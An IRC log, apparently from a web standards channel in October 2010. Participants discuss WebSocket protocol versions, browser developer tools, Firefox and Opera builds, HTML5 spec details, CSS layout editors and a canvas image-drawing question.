[02:34:00.0000] <Philip`>
It'll happen again in 30 minutes, in another timezone

[06:29:00.0000] <annevk>
oh, I missed https://bugzilla.mozilla.org/show_bug.cgi?id=602028 (WebSocket prefixing discussion)

[08:18:00.0000] <annevk>
looking at the logs I wonder whether mookid is back with a new nick...

[08:26:00.0000] <MikeSmith>
annevk: I thought exactly the same thing

[08:26:01.0000] <MikeSmith>
/me goes back to find the nick

[08:26:02.0000] <MikeSmith>
anyway, I sure hope so

[08:26:03.0000] <MikeSmith>
too boring around here lately

[08:29:00.0000] <karlcow>
MikeSmith, annevk, I wish there was an author element O:-)

[08:31:00.0000] <sideshow>
annevk: http://irclogs.ubuntu.com/2008/05/20/%23ubuntu.txt might provide some clues

[08:31:01.0000] <sideshow>
karlcow: author element?

[08:36:00.0000] <micheil>
annevk: I sure hope firefox 4 doesn't prefix the WebSocket constructor..

[08:36:01.0000] <micheil>
dev's should be fine with the next version of the protocol being released in a browser breaking their current implementations

[08:37:00.0000] <micheil>
hence the reason I've gotten all the developers working on the websocket servers to follow the IETF hybi list.

[08:37:01.0000] <micheil>
(also even more reason to have something change in the handshake to notify servers of protocol versions)

[08:56:00.0000] <MikeSmith>
annevk: btw, instead of using Tidy, you can just open Firebug on your source and select the html element and choose "Copy HTML" to copy the serialization of the DOM for the whole document

[08:56:01.0000] <MikeSmith>
or in  Web Inspector

[08:56:02.0000] <MikeSmith>
or equivalent

[08:56:03.0000] <MikeSmith>
I don't know if Dragonfly lets you do that yet

[08:57:00.0000] <annevk>
I see

[08:57:01.0000] <MikeSmith>
I don't think it did last time I tried

[08:57:02.0000] <MikeSmith>
or I couldn't find it at least

[08:57:03.0000] <annevk>
then again, tidy was installed and lots of other things already went via the command line

[08:57:04.0000] <MikeSmith>
yeah

[08:57:05.0000] <MikeSmith>
/me is reminded that he wants to install new Dragonfly

[08:57:06.0000] <MikeSmith>
how do I get new Dragonfly

[08:58:00.0000] <MikeSmith>
annevk: problem with Tidy is, you don't really know what all it might be changing

[09:02:00.0000] <MikeSmith>
/me installs Opera 10.62

[09:03:00.0000] <MikeSmith>
I hope some future generation of Opera developers will evolve to the point of figuring out how to make Opera "Check for Updates" actually work they way one might expect it to work

[09:05:00.0000] <MikeSmith>
maybe these guys could figure out how to do it properly -

[09:05:01.0000] <MikeSmith>
http://media.photobucket.com/image/star+trek+talosians/vladislaw_photo/startrek-Talosians.jpg

[09:07:00.0000] <MikeSmith>
hmm, after upgrading to 10.62, now my "Opera Dragonfly" menu item is grayed out

[09:08:00.0000] <MikeSmith>
/me reads http://my.opera.com/chooseopera/blog/2010/09/30/opera-dragonfly-preview

[09:09:00.0000] <MikeSmith>
ah sweet

[09:10:00.0000] <MikeSmith>
/me notes new icons

[09:12:00.0000] <MikeSmith>
ah cool

[09:12:01.0000] <espadrine>
The blue world icon looks foreign.

[09:12:02.0000] <espadrine>
All other icons have a clear black border.

[09:13:00.0000] <MikeSmith>
well, I just discovered the "Export current DOM view" button

[09:13:01.0000] <MikeSmith>
which seems to work as expected

[09:14:00.0000] <MikeSmith>
e.g., if you expand the whole DOM tree first, and then click that, you get the whole DOM as a text that you can copy and paste

[09:22:00.0000] <MikeSmith>
hmm, but "Export DOM" in the new Dragonfly preview causes the menu names to be selected as well as the actual DOM serialization

[09:23:00.0000] <MikeSmith>
I switched back to old Dragonfly and I see the Export DOM option there now too

[09:23:01.0000] <micheil>
hmm.. there's a John A Tamplin that's about here, right?

[09:23:02.0000] <MikeSmith>
and it works correctly

[09:24:00.0000] <MikeSmith>
micheil: doesn't sound familiar to me at least

[09:24:01.0000] <micheil>
hmm..

[09:24:02.0000] <micheil>
okay

[09:24:03.0000] <micheil>
I've seen the name else where thne

[09:25:00.0000] <MikeSmith>
hybi mailing list

[09:25:01.0000] <MikeSmith>
it seems

[09:27:00.0000] <micheil>
okay

[10:14:00.0000] <gsnedders>
/me hasn't really heard what's going on on hybi for a while

[10:15:00.0000] <gsnedders>
Like, since I heard from jgraham while still sharing an office with him. :P

[14:08:00.0000] <jgraham>
gsnedders: The update is that abarth has proposed a new, more secure handshake, and various others are arguing posiions ranging from "if you don't actually exploit the existing design it must be secure enough" to "we don't need to care about security because even if websockets is secure there will probably be other unrelated attack vectors"

[14:09:00.0000] <jgraham>
(I wish I was making this up)

[14:09:01.0000] <abarth>
:)

[14:11:00.0000] <gsnedders>
jgraham: And that's all that's happened in the last month? Okay. So I guess the eight-week plan has gone. :P

[14:14:00.0000] <jgraham>
gsnedders: It was a four week plan. And it is long gone

[14:17:00.0000] <gsnedders>
/me sighs, a bit after 9:00, an empty bottle of vodka and two half empty bottles, with only half my flat drinking

[14:17:01.0000] <gsnedders>
(actually, a bit less than half)

[14:18:00.0000] <jgraham>
Well that means the rest of them are sober and so still fun, right :)

[14:19:00.0000] <gsnedders>
Already out at concert, studying for tomorrow morning, or away for the weekend and not yet back.

[14:19:01.0000] <gsnedders>
So meh.

[14:20:00.0000] <gsnedders>
(And I've got bored of book now)

[14:20:01.0000] <jgraham>
You should have got invited to the concert

[14:21:00.0000] <gsnedders>
Heh, one of my flatmate's friends managed to get two free tickets (as he does music reviews for something), so just two people gone

[14:21:01.0000] <gsnedders>
/me is going to see The Birthday Massacre on Wednesday, however

[15:02:00.0000] <AryehGregor>
This new policy of mine, of not checking e-mail/feeds/websites I follow more than once per day except priority e-mail, is terrifying.  I can't think of anything to do except actual work.

[15:03:00.0000] <variable>
/me should take on AryehGregor's policy 

[15:03:01.0000] <Rik`>
AryehGregor: how do you only check "priority email"

[15:04:00.0000] <AryehGregor>
Rik`, well, I use Gmail's priority inbox feature.  I still see the regular inbox (although not spec mail), but I don't open any of them unless Google clearly misplaced it and it should be priority.

[15:05:00.0000] <AryehGregor>
So I can check my mail, but it doesn't waste much time because I don't read the actual mail, except the small number of priority messages (from people I know IRL, etc.).


2010-10-11
[17:41:00.0000] <gsnedders>
heh, nice, segfaults running it with Xvfb on some test

[17:55:00.0000] <gsnedders>
oh, no, crash happens anyway

[18:11:00.0000] <AryehGregor>
Theoretically, xvfb shouldn't be detectably different from Firefox's point of view.

[18:11:01.0000] <AryehGregor>
Otherwise it wouldn't be much good for testing in.

[18:11:02.0000] <gsnedders>
The biggest difference I've seen with Xvfb (in dealing with it on a much larger scale than this) is it has way more memory leaks.

[18:12:00.0000] <gsnedders>
This crash in Firefox happens when the default encoding is set to UTF-8. Heh. I guess that makes it low priority.

[18:15:00.0000] <AryehGregor>
I had a horrible memory leak in X a version or two ago.  It was using like a gigabyte of RAM.

[18:15:01.0000] <AryehGregor>
I had to reboot.  :'(

[18:16:00.0000] <gsnedders>
AryehGregor: One of the biggest problems I've been having dealing with Opera's regression tracking system is memory leaks in Xvfb. And we restart it ridicuously often.

[18:16:01.0000] <AryehGregor>
Interesting.

[18:17:00.0000] <AryehGregor>
Too bad C is so horrible that way.

[19:11:00.0000] <AryehGregor>
TabAtkins, your Worms clone lets you reset your shot if you click while it's still airborne.  So you can just fire, watch where it goes, adjust before it hits, and repeat until you win on the first round.

[19:12:00.0000] <AryehGregor>
(I guess you don't have videos of your talks.)

[19:15:00.0000] <AryehGregor>
TabAtkins, also, you should use hyphenator.js on your website, since you're using text-align: justify.  Otherwise lines get really stretched out near long URLs and such.

[19:18:00.0000] <AryehGregor>
. . . also, are you using 512-bit Whirlpool hashes again?  Sheesh, these URLs look like they must be jokes.

[19:18:01.0000] <AryehGregor>
(And you really need a feed for your blog.)

[19:19:00.0000] <AryehGregor>
(Also, I really like the styling for the little date box permalink thing.  Looks very neat.)

[19:19:01.0000] <AryehGregor>
/me goes to bed instead of gibbering random comments

[22:02:00.0000] <ai_scott>
can i get help with an issue with implementation of canvas in js here?

[22:07:00.0000] <ai_scott>
http://pastebin.com/ZZU6zvXz  im having the issue on line 35 from 33 any ideas?

[22:25:00.0000] <aho>
eh... what are you trying to do there anyways?

[22:25:01.0000] <aho>
looks pretty nonsensical to me

[22:26:00.0000] <ai_scott>
aho thx write a image to a canvas

[22:26:01.0000] <aho>
eh... yea... well just load an image and draw it then *shrug*

[22:27:00.0000] <ai_scott>
i want to modify it and then write to file via a podt to a php page\

[22:27:01.0000] <aho>
right... draw it into a canvas... and then turn it into an image

[22:27:02.0000] <aho>
note however that the same origin stuff applies

[22:28:00.0000] <aho>
you cant read image data from images which came from a different domain

[22:29:00.0000] <ai_scott>
$img = '/path/jpj.jpg';

[22:29:01.0000] <aho>
(you can load it... and then draw it... but the canvas then also gets tagged as write only)

[22:30:00.0000] <aho>
$.get('<?php echo $img;?> <- what? :>

[22:30:01.0000] <ai_scott>
$img = '/path/jpj.jpg';

[22:31:00.0000] <aho>
so... this script is first processed by php?

[22:32:00.0000] <aho>
(you do use php to generate js?)

[22:32:01.0000] <ai_scott>
no

[22:32:02.0000] <ai_scott>
i just use the path generated by php

[22:33:00.0000] <aho>
yes... part of your js code is generated by php

[22:33:01.0000] <aho>
(that's bad for caching and whatever)

[22:33:02.0000] <ai_scott>
this is a one time image editor for the backend of a site

[22:34:00.0000] <aho>
yes... i mean you should pass that path to your script... and not inject it into the script

[22:34:01.0000] <aho>
well... alright... everything is on the same domain, right?

[22:34:02.0000] <ai_scott>
i want to change the brightness and contrast yup

[22:35:00.0000] <ai_scott>
once i get writen to the canvas i can use Pixastic to mod it and a post to a php page to save it

[22:36:00.0000] <aho>
ok... don't use that data url there

[22:36:01.0000] <aho>
just the path to the image

[22:36:02.0000] <aho>
and then you got your image

[22:37:00.0000] <aho>
(all that binary -> b64 stuff doesnt make any sense)

[22:39:00.0000] <aho>
http://kaioa.com/k/ct/image_combine/index.html

[22:39:01.0000] <aho>
http://kaioa.com/k/ct/image_combine/image_combine.js

[22:39:02.0000] <aho>
i'm using a silly loader there... once i got the image i do stuff with it

[22:40:00.0000] <aho>
it's pretty straightforward, really

[22:42:00.0000] <aho>
well, the example isn't as straightforward as it could be... i'm creating images out of other images before i draw them

[22:43:00.0000] <aho>
so... in renderScene... i could just call ctx.drawImage(img_rgb, ...) for example. and the unaltered image would appear on the canvas

[22:44:00.0000] <ai_scott>
ctx.drawImage('/localpath/image.jpg',0,0); ?

[22:45:00.0000] <ai_scott>
or something like this

[22:45:01.0000] <ai_scott>
http://pastebin.com/4QEY4YKk

[22:45:02.0000] <aho>
no... create an image first

[22:46:00.0000] <aho>
drawImage takes an image (or another canvas... or a video) as parameter

[22:46:01.0000] <ai_scott>
image element?

[22:46:02.0000] <aho>
<ai_scott> http://pastebin.com/4QEY4YKk <- ye, something like that :>

[22:49:00.0000] <ai_scott>
Uncaught TypeError: Cannot call method 'getContext' of null

[22:51:00.0000] <ai_scott>
got it

[22:51:01.0000] <ai_scott>
but it seems streched

[22:59:00.0000] <ai_scott>
aho thx for your help

[23:12:00.0000] <aho>
ctx.drawImage(im, 0, 0); <- draws the image at 0/0 without scaling or clipping (i.e. it shouldn't be stretched)

[01:09:00.0000] <annevk>
almost publication day

[01:10:00.0000] <annevk>
anything besides <b> that I should mention in http://dev.w3.org/html5/html4-differences/ ?

[01:11:00.0000] <annevk>
oh, maybe the killing of PUT/DELETE on <form method>

[01:11:01.0000] <annevk>
everything else seems like tweaking details

[01:11:02.0000] <annevk>
and with <b> I mean <s>

[01:38:00.0000] <asmodai>
Mmm

[01:39:00.0000] <asmodai>
why would 4.0b7pre say there's updates available at moz.org/products/firefox (which is 3.6.x)?

[01:51:00.0000] <hsivonen>
asmodai: where does it say that?

[01:52:00.0000] <hsivonen>
asmodai: anyway, my best guess is that it's a bug

[01:52:01.0000] <annevk>
do you use an en-dash for flip-side?

[01:52:02.0000] <hsivonen>
annevk: no

[01:52:03.0000] <annevk>
things like same-origin policy?

[01:52:04.0000] <hsivonen>
annevk: no

[01:53:00.0000] <hsivonen>
the only case where the Chicago Manual of Style supports lengthening a compound word hypen into an en dash is if the first part of the compound word has two parts and is capitalized

[01:54:00.0000] <hsivonen>
as in Civil War–era

[01:54:01.0000] <hsivonen>
which to me seems like a CMoS invention and not like common usage

[01:55:00.0000] <hsivonen>
so you *might* be able to cite CMoS to get away with Same-Origin–policy if you capitalize Same-Origin

[01:56:00.0000] <annevk>
interesting

[01:57:00.0000] <jgraham>
 You might want better things to worry about if this is what is keeping you awake at night, however

[01:57:01.0000] <annevk>
it's early morning

[01:57:02.0000] <jgraham>
And?

[01:57:03.0000] <annevk>
also, why would I want to be concerned with real worries?

[01:58:00.0000] <hsivonen>
annevk: sorry. I remembered wrong. CMoS says you can use the en dash for a compound adjective in place of a hyphen if part of the compound is an "open compound (such as New York)" or itself hyphenated

[01:58:01.0000] <jgraham>
For all I know you were tossing and turning last night unable to sleep for thoughts of en and em dashes

[01:59:00.0000] <hsivonen>
except the latter rule is fuzzier, so you you aren't permitted to use and en dash for non-English-speaking or not-to-be-forgotten

[01:59:01.0000] <hsivonen>
annevk: the chapter and verse is 5.117 in the 14th ed.

[02:00:00.0000] <hsivonen>
anyway, the use of an en dash for compound adjectives smells like a CMoS oddity to me

[02:14:00.0000] <asmodai>
hsivonen: in about > help

[02:14:01.0000] <asmodai>
hsivonen: in that pop up window

[02:35:00.0000] <hsivonen>
asmodai: I don't see that in b8pre

[02:36:00.0000] <hsivonen>
asmodai: I thought there aren't nightly builds of b7pre anymore

[02:36:01.0000] <asmodai>
hsivonen: mmm, shouldn't b7 be able to move to b8?

[02:37:00.0000] <asmodai>
via the normal updates?

[02:37:01.0000] <hsivonen>
b7pre should update to b8pre, yeah

[02:37:02.0000] <hsivonen>
unless maybe if you are on Mac OS X 10.5

[02:37:03.0000] <hsivonen>
dunno if the 10.5 update problems have been solved already

[02:38:00.0000] <asmodai>
Nah, win7

[02:39:00.0000] <asmodai>
weird, it directs me to the normal URL yet my channel is set, as it should, to nightly.

[02:40:00.0000] <asmodai>
time to fetch it manually I guess

[02:43:00.0000] <hsivonen>
asmodai: I tried on Windows 7: b7pre from September 20 or so autoupdated to b8pre

[02:43:01.0000] <asmodai>
hsivonen: peculiar

[02:43:02.0000] <asmodai>
hsivonen: 32 or 64 bit?

[02:43:03.0000] <asmodai>
I just installed via the installer and it offered the upgrade option. Now with b8 it says it's uptodate at least.

[03:06:00.0000] <asmodai>
mmm   ie9b @ acid3 95/100 - html5 96+5, ff 4b8 @ 97/100 - html5 217+9, webkit nightly @ acid3 100/100 - html5 232+9

[03:07:00.0000] <hsivonen>
I'm guessing "html5" means html5test.com

[03:07:01.0000] <asmodai>
yep

[03:07:02.0000] <asmodai>
colleague on Mac and me test browsers on a semi-frequent basis since he is responsible for the uni's website stuff

[03:08:00.0000] <asmodai>
And right now some of our JS stuff in IE9 seems to go screwy :(

[03:08:01.0000] <miketaylr>
like what?

[03:09:00.0000] <asmodai>
miketaylr: looks like all the text in this "ticker" is being displayed all at the same time

[03:09:01.0000] <asmodai>
ok, and now reloading it shows it as it should.

[03:09:02.0000] <asmodai>
Mmm, lets chalk it up as a temp glitch

[03:09:03.0000] <hsivonen>
the bonus points on html5test.com are a bit questionable

[03:10:00.0000] <hsivonen>
bonus points for encumbered codecs, bonus points for SQL database

[03:10:01.0000] <jgraham>
s/a bit/very/

[03:10:02.0000] <hsivonen>
and OTOH treating SVG and MathML as bonus features rather than proper features

[03:10:03.0000] <asmodai>
that sucks

[03:10:04.0000] <asmodai>
I want my mathml support

[03:11:00.0000] <jgraham>
If it is going to treat SVG and MathML it whould have real tests though, not just superficial ones

[03:11:01.0000] <annevk>
we just released a build with Web Socket support: http://my.opera.com/desktopteam/blog/2010/10/11/websockets

[03:11:02.0000] <annevk>
also has our new EventSource implementation

[03:11:03.0000] <jgraham>
(insofar as any of the tests are not just superficial)

[03:11:04.0000] <zcorpan>
you should complain here http://github.com/NielsLeenheer/html5test

[03:12:00.0000] <jgraham>
annevk: Yay! Go us! ;)

[03:12:01.0000] <annevk>
#toocoolfortwitter

[03:12:02.0000] <annevk>
:)

[03:12:03.0000] <miketaylr>
\o/

[03:14:00.0000] <zcorpan>
yay

[03:18:00.0000] <asmodai>
ah right, need to update my opera too

[03:18:01.0000] <asmodai>
sorry anne!

[03:18:02.0000] <asmodai>
/me goes to add

[03:28:00.0000] <zcorpan>
just tested that http://html5demos.com/web-socket works with opera :)

[03:28:01.0000] <miketaylr>
now i can go back and enjoy some of the node.ko demos 

[03:38:00.0000] <miketaylr>
lists.w3.org seems down

[03:56:00.0000] <asmodai>
that opera 10.70 is acid3 @ 99/100 - html5 179+9

[03:58:00.0000] <sideshow>
miketaylr: lists.w3.org seems to be working for me

[04:00:00.0000] <miketaylr>
ahh you're right, sideshow. back up.

[04:15:00.0000] <hsivonen>
so many blog posts I'd want to write but don't get around to

[04:16:00.0000] <annevk>
yeah me too

[04:16:01.0000] <annevk>
i'm trying to catch up today

[04:16:02.0000] <hsivonen>
today I'd want to write a blog post explaining why there aren't WYSIWYG, *direct manipulation*, non-sucking editors for CSS layouts

[04:17:00.0000] <hsivonen>
tl;dr version: the existence of reftests proves that the program can't know what CSS you want if you draw a constellation of boxes

[04:18:00.0000] <hsivonen>
maybe I should do my blog posts as two tweets each

[04:22:00.0000] <jgraham>
hsivonen: That isn't enough for a proof, because you could constrain the layout primitives used by the generator for uniqueness

[04:23:00.0000] <jgraham>
And uniqueness is not really necessary except in a weak sense

[04:23:01.0000] <jgraham>
(an action in the GUI should lead to deterministic results)

[04:23:02.0000] <hsivonen>
jgraham: more proof: MS Word

[04:24:00.0000] <jgraham>
I don't think word is a proof of anything in particular

[04:24:01.0000] <gsnedders>
/me screams and runs

[04:24:02.0000] <hsivonen>
jgraham: if you look at what layout parameters Word supports, it's surprisingly similar to CSS properties sans cascade and nesting

[04:24:03.0000] <jgraham>
although it might be evidence that it is a hard problem

[04:25:00.0000] <hsivonen>
jgraham: so you can get pretty good and complex layouts by spending a day typing numbers into boxes

[04:25:01.0000] <annevk>
it's hard because a good editor would infer meaning from style; but if the editor can do that, so can the browser...

[04:25:02.0000] <jgraham>
annevk: Meaning seems to have little to do with the question at hand

[04:25:03.0000] <hsivonen>
jgraham: but when you touch the stuff with the mouse and Word tries to guess what you meant, everything breaks and you become extremely frustrated

[04:26:00.0000] <jgraham>
annevk: That's the question of why editors typically generate bad markup

[04:26:01.0000] <hsivonen>
jgraham: if I draw a box, how's the editor to know what units or media queries or positioning/oating I have in mind?

[04:27:00.0000] <hsivonen>
*floating

[04:27:01.0000] <jgraham>
hsivonen: It has to constrain things somehow

[04:27:02.0000] <jgraham>
Or pick reasonable defaults and let you override them

[04:28:00.0000] <jgraham>
In any case the fact that Word, with a simpler model, does badly hardly constitutes proof it is *impossible* only evidence that it is hard

[04:28:01.0000] <annevk>
Brendan's take on versioning is interesting

[04:29:00.0000] <espadrine>
Where is it?

[04:30:00.0000] <annevk>
https://bugzilla.mozilla.org/show_bug.cgi?id=602028#c11

[04:30:01.0000] <annevk>
oops

[04:30:02.0000] <annevk>
https://bugzilla.mozilla.org/show_bug.cgi?id=602028#c17

[04:33:00.0000] <annevk>
I'm not sure I entirely agree though... while it certainly moves somewhat, the old CSS table layout stuff is still around

[04:34:00.0000] <annevk>
(quirks mode)

[04:34:01.0000] <jgraham>
It moves very very slowly

[04:34:02.0000] <annevk>
and versioning in JavaScript... well, I guess we will see what happens, but currently there is no clear that is going to work out of band

[04:35:00.0000] <hsivonen>
If had a chance to go back and redesign the Almost Standards vs. Standards CSS table thing, I'd make Almost Standards the default and make the Standards behavior an opt-in controlled by a CSS property rather than doctype

[04:35:01.0000] <hsivonen>
*If I

[04:35:02.0000] <annevk>
yup

[04:36:00.0000] <annevk>
at some point we'll get that property I think

[04:36:01.0000] <annevk>
when we define limited-quirks mode and quirks mode

[04:59:00.0000] <jgraham>
annevk: I hear that Safari 5.02 supports -76

[05:04:00.0000] <annevk>
oh really?

[05:05:00.0000] <jgraham>
Haven't tested or anything

[05:05:01.0000] <jgraham>
micheil claimed this

[05:05:02.0000] <gsnedders>
annevk: As far as I can tell, Harmony is going to have to be versioned too

[05:06:00.0000] <annevk>
http://html5demos.com/web-socket supports both versions I guess?

[05:07:00.0000] <annevk>
gsnedders, yeah he was talking about post-ES5

[05:07:01.0000] <annevk>
we'll see what happens

[05:07:02.0000] <gsnedders>
Nobody will use it.

[05:07:03.0000] <gsnedders>
This is my predication.

[05:07:04.0000] <hsivonen>
is there a non-racy way to detect if a meta Refresh navigation is under way?

[05:07:05.0000] <jgraham>
The ES people seem to have versioning mania

[05:09:00.0000] <annevk>
if it comes with speed benefit the large sites will use it

[05:09:01.0000] <annevk>
and libraries maybe

[05:09:02.0000] <annevk>
with their on the fly loading magic

[05:09:03.0000] <annevk>
but then the decision what to use will still be based on browser sniffing rather than versioning

[05:34:00.0000] <annevk>
guess I'll update html5-diff now

[05:35:00.0000] <annevk>
if anyone finds anything conclusive on Safari 5.02 and -76 of WebSocket that'd be great btw

[05:35:01.0000] <annevk>
I'd like to update my post if Safari also implements it

[06:43:00.0000] <zcorpan>
annevk: so safari 5.0 uses -75 but safari 5.02 uses -76

[06:44:00.0000] <zcorpan>
except it doesn't support the closing handshake, i think

[07:43:00.0000] <jgraham>
hsivonen: BTW I am warming to the proposal of converging on the WebKit script scheduling behaviour

[07:43:01.0000] <jgraham>
I worry that the "ordered" attribute is adding needless complexity however

[07:45:00.0000] <jgraham>
Do we have any data about how widely deployed require.js and LabJS are? Maybe if they update now and advertise that the new version is needed for Firefox 4 compat then everything will work out fine

[07:50:00.0000] <miketaylr>
That's an interesting question--Kyle, the author of LabJS mentioned somewhere in his blog that twitter.com and zappos.com use it.

[07:51:00.0000] <miketaylr>
And there's rumors that require will end up as part of Dojo 2.0...but I don't have any real evidence for that

[08:53:00.0000] <micheil>
jgraham: that would be correct. http://github.com/miksago/node-websocket-server/wiki/browser-compatibility

[08:54:00.0000] <micheil>
rather, url is: http://github.com/miksago/node-websocket-server/wiki/Browser-Support

[08:58:00.0000] <micheil>
zcorpan: do you know a rough release date for opera 10.70?

[08:58:01.0000] <micheil>
(that way I can set myself a reminder to test websocket support in it.)

[09:00:00.0000] <zcorpan>
micheil: i don't

[09:01:00.0000] <micheil>
fair enough.

[09:04:00.0000] <jgraham>
Pop quiz: I document.write an external script element into an iframe. Does the external script load before the document.write call returns? 

[09:04:01.0000] <jgraham>
per spec

[09:08:00.0000] <annevk>
thanks micheil

[09:08:01.0000] <annevk>
for the Safari update

[09:08:02.0000] <micheil>
no worries

[09:09:00.0000] <annevk>
/me updated http://annevankesteren.nl/2010/10/websocket-protocol accordingly

[09:09:01.0000] <micheil>
annevk: feel free to update that github page.

[09:10:00.0000] <annevk>
looks correct to me

[09:11:00.0000] <micheil>
I'm just reformatting it a bit..

[10:25:00.0000] <TabAtkins>
AryehGregor: Yeah, I know about the reset-shot thing.  I'm currently just changing players on impact.  I should be (a) turning off shots once you've made one, and (b) triggering a turn end if your shot goes off the side of the screen as well.

[10:26:00.0000] <TabAtkins>
AryehGregor: Yeah, no videos.  Our tech was a little low at this event.

[10:26:01.0000] <TabAtkins>
AryehGregor: Never heard of hyphenator.js, will check it out.

[10:26:02.0000] <TabAtkins>
AryehGregor: I added hAtom last night, and will put together an actual Atom feed soon.

[10:26:03.0000] <TabAtkins>
AryehGregor: Also I like Whirlpool hashes because they're silly.

[10:27:00.0000] <TabAtkins>
AryehGregor: And thanks, I like the styling too!

[10:27:01.0000] <AryehGregor>
/me verifies that TabAtkins has addressed all of his feedback, check-plus

[10:28:00.0000] <TabAtkins>
^_^

[10:29:00.0000] <jgraham>
TabAtkins: Your worms game isn't yet multiplayer using websockets

[10:29:01.0000] <jgraham>
/me wonders if all feedback written here gets addressed :)

[10:30:00.0000] <TabAtkins>
hsivonen: In addition to the non-uniqueness of layouts, there's the simple fact that CSS *does not have* appropriate layout primitives yet.  Template Layout will make WYSIWYG layouts fairly easy.

[10:30:01.0000] <TabAtkins>
jgraham: Nuts to that.

[10:30:02.0000] <jgraham>
TabAtkins: You're thinking of squirrels, not worms

[12:31:00.0000] <TabAtkins>
Okay, so, AryehGregor, I have a problem.  I want to ensure that documents I've written can't be bruteforce discovered by some random attacker.  But I want a shorter url, too.  Discuss.  (Manually providing shorturls for my blogposts doesnt' scale well, especially since I accidentally wiped out my shorturl resolver last week.)

[12:32:00.0000] <annevk>
set the URL for public documents

[12:33:00.0000] <TabAtkins>
That makes too much sense, annevk.

[12:33:01.0000] <AryehGregor>
TabAtkins, brute-force discovery is unlikely unless either your names are extremely short or they follow a consistent pattern or someone is really determined.

[12:38:00.0000] <variable>
TabAtkins, rate limit access

[12:38:01.0000] <variable>
and IP block

[12:44:00.0000] <Philip`>
Password-protect non-public documents?

[13:25:00.0000] <TabAtkins>
Solution I decided on over lunch: Keep the ridiculously long uuids, but also have an algorithmic shorturl for public documents.

[15:49:00.0000] <Hixie>
hsivonen: yt?

[15:52:00.0000] <AryehGregor>
TabAtkins, http://validator.nu/?doc=http://www.xanthir.com/blog/

[15:53:00.0000] <TabAtkins>
Noted.

[15:54:00.0000] <Hixie>
i wish we could make -- valid

[15:54:01.0000] <Hixie>
do we really care that it's not mappable to XML?

[15:54:02.0000] <Hixie>
and that it causes problems in older Geckos?

[15:54:03.0000] <TabAtkins>
NO.

[15:54:04.0000] <TabAtkins>
That was more forceful than intended.

[15:54:05.0000] <TabAtkins>
No.

[15:54:06.0000] <Hixie>
heh

[15:55:00.0000] <TabAtkins>
So I've fixed the error I care about.  The validator can continue to complain about the line of ------ I have in a comment.

[15:56:00.0000] <Hixie>
anyone understand what http://www.w3.org/Bugs/Public/show_bug.cgi?id=10841 is about?

[15:56:01.0000] <TabAtkins>
I think he wants the ability for captions to adjust the playback rate.

[15:57:00.0000] <Hixie>
i don't understand what that means

[15:57:01.0000] <Hixie>
how could captions do that?

[15:58:00.0000] <TabAtkins>
Through some additional switch embedded in-band, I presume.

[15:58:01.0000] <TabAtkins>
The intent is so that with, frex, descriptions, you can have extra time to read the description while it's running.

[15:58:02.0000] <TabAtkins>
But only when you have the description track turned on.

[15:58:03.0000] <KaOSoFt>
Hello. In HTML5, can I do something like <br /> without breaking validation?

[15:59:00.0000] <TabAtkins>
Yes, using a trailing slash on void elements is just fine.  It just doesn't mean anything.

[15:59:01.0000] <Hixie>
TabAtkins: hm, interesting. thanks.

[15:59:02.0000] <TabAtkins>
Doesn't mean anything special, that is.  It's the same as <br>.

[15:59:03.0000] <Hixie>
i wonder if he means that this should just be allowed in principle, or that it should be part of a specific caption format, or part of <track>, or something else

[15:59:04.0000] <cardona507>
sans the cruft :D

[16:00:00.0000] <Hixie>
oh well, i asked him to elaborate

[16:00:01.0000] <TabAtkins>
Yeah, that's fine.  If I didn't already know what the bug was about I wouldn't be able to parse what he said.

[16:05:00.0000] <hober>
TabAtkins: http://microformatique.com/optimus/?format=validate&uri=http://www.xanthir.com/blog/

[16:06:00.0000] <hober>
also http://lukearno.com/projects/hatom2atom/?url=http://www.xanthir.com/blog/

[16:07:00.0000] <TabAtkins>
hober: That validator is broken.  For one, it's telling me that things aren't specified multiple times.  For two, it's telling me that entry-title, updated, and bookmark aren't specified, then listing the entry-title, updated, and bookmark.  For 3, author is specified in the feed, outside of the entry, as allowed by the hAtom format.

[16:08:00.0000] <TabAtkins>
For the second link, are you getting anything?  I get a Python error.

[16:08:01.0000] <hober>
boo. :( have you sent a bug report to the validator peeps?

[16:08:02.0000] <TabAtkins>
hober: Not yet.  I'm just now critiquing it.  ^_^

[16:09:00.0000] <hober>
re: hAtom2Atom, yeah, I'm seeing the same thing, which is why I ran your page through the validator.

[16:09:01.0000] <hober>
/me is impatient to subscribe to your blog :)

[16:09:02.0000] <paul_irish>
for real.

[16:09:03.0000] <TabAtkins>
Shortlinks first.  Then a real atom feed for you people.  Is there any standard location/filename for an atom feed?

[16:10:00.0000] <Hixie>
anyone got a good idea of a new example for http://www.w3.org/Bugs/Public/show_bug.cgi?id=10743 ?

[16:10:01.0000] <Hixie>
(that is, an example of a conformance requirement on authors that is present only to help authors avoid a brittle part of the language)

[16:11:00.0000] <hober>
TabAtkins: no, but you might as well mint the cleanest url possible (mine is /feed)

[16:11:01.0000] <Hixie>
i.e. another example for "Errors involving fragile syntax constructs" in http://www.whatwg.org/specs/web-apps/current-work/multipage/introduction.html#syntax-errors

[16:11:02.0000] <TabAtkins>
hober: Makes sense.  I'll probably do /blog/atom, I guess.

[16:11:03.0000] <TabAtkins>
Hixie: Anything involving <p> autoclosing?

[16:12:00.0000] <hober>
unquoted href with Sufficiently Weird URL in it?

[16:12:01.0000] <Hixie>
i don't know that we have any conformance requirements to avoid that (the only thing that's really fragile there is  <p> bla bla \n  <ins> <p> bla bla  , and nothing is especially done to help authors avoid that issue

[16:13:00.0000] <Hixie>
)

[16:13:01.0000] <Hixie>
hober: hmm, href=?a=b maybe

[16:13:02.0000] <Hixie>
hober: though that's really illegal for another reason (likely typo, not being fragile)

[16:14:00.0000] <hober>
something involving the AAA?

[16:14:01.0000] <TabAtkins>
Actually, that's probably a good example, since it's one of the errors the validator flagged on my site.

[16:14:02.0000] <TabAtkins>
(It wasn't a typo in my case, of course.)

[16:14:03.0000] <gsnedders>
For those who have me on Facebook and feel helpful: http://www.facebook.com/gsnedders/posts/448566623395

[16:15:00.0000] <TabAtkins>
gsnedders: What do you need help with?

[16:15:01.0000] <TabAtkins>
gsnedders: Seems like everything's taken care of.

[16:17:00.0000] <gsnedders>
TabAtkins: The specific post? Or does that not show?

[16:17:01.0000] <TabAtkins>
gsnedders: I see the post.  You gave an answer, and the dude seems to have understood it.

[16:18:00.0000] <TabAtkins>
AryehGregor: Permalinks are now short.  Happy?

[16:18:01.0000] <gsnedders>
TabAtkins: I'm too tired to try and understand people :P

[16:20:00.0000] <TabAtkins>
